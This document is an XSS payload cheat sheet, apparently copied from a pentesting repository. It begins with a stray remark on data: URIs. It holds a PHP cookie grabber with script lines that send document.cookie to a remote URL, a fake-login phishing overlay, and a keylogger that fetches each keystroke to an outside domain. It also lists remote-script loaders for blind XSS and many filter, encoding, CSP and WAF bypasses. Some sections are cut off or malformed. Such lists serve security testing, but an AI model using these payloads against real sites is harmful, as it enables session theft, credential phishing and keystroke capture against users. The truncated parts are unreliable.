Actually, is not XSS.

Running scripts like <a href="data:text/html,<script>alert(location.origin)</script>">clickme</a> have location.origin "null".

# Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

## Exploit code or POC
Cookie grabber for XSS
```php
<?php
// How to use it
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
or
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);
?>
```
UI redressing (Sophisticated phishing)
```html
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
```
Keylogger for XSS
```javascript
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

## XSS in HTML/Applications
XSS Basic
```javascript
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
Svg payload
<svg onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
```
XSS for HTML5
```javascript
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
```
XSS using script tag (external payload)
```javascript
<script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```
XSS in Hidden input
```javascript
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```
DOM XSS
```javascript
#"><img src=/ onerror=alert(2)>
```
XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
```javascript
-(confirm)(document.domain)//
; alert(1);//
```
XSS URL
```javascript
URL/<svg onload=alert(1)>
URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
```
## XSS in wrappers javascript and data URI
XSS with javascript:
```javascript
javascript:prompt(1)
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)
Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```
XSS with data:
```javascript
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
XSS with vbscript: only IE
```javascript
vbscript:msgbox("XSS")
```
## XSS in files
** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
```xml
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```
XSS in XML
```xml
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
```
XSS in SVG
```xml
<?xml version="1.0" standalone="no"?>

## Blind XSS
### XSS Hunter
Available at [https://xsshunter.com/app](https://xsshunter.com/app)
> XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
```javascript
"><script src=//yoursubdomain.xss.ht></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script>
<script>$.getScript("//yoursubdomain.xss.ht")</script>
```

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```
Bypass using Unicode converted to uppercase
```javascript
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
(%E2%84%AA).toLowerCase() => k
<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```
Bypass using overlong UTF-8
```javascript
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```
Bypass using UTF-7
```javascript
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```
Bypass using UTF-16be
```javascript
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00

```
Bypass using UTF-32
```js
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```
Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
BOM character allows you to override charset of the page
```js
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```
Bypass using weird encoding or native interpretation to hide the payload (alert())
```javascript

## CSP Bypass
Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Googles CSP Evaluator to bypass CSP](https://blog.thomasorlita.cz/vulns/google-csp-evaluator/)
### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))
//google.com/complete/search?client=chrome&jsonp=alert(1);
```js
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
```
More JSONP endpoints available in [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt)
### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)
Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)
```js
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```
### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)
```js
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://yoursubdomain.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
```
### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen)
Works for CSP like `script-src self`
```js
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
```
## Common WAF Bypass
### Chrome Auditor - 9th august 2018

<a href=javas&#99;ript:alert(1)>
```
## More fun
This section will be used for the "fun/interesting/useless" stuff.
Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic)
Note : it requires user permission
```javascript
Notification.requestPermission(x=>{new(Notification)(1)})
```
Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//)
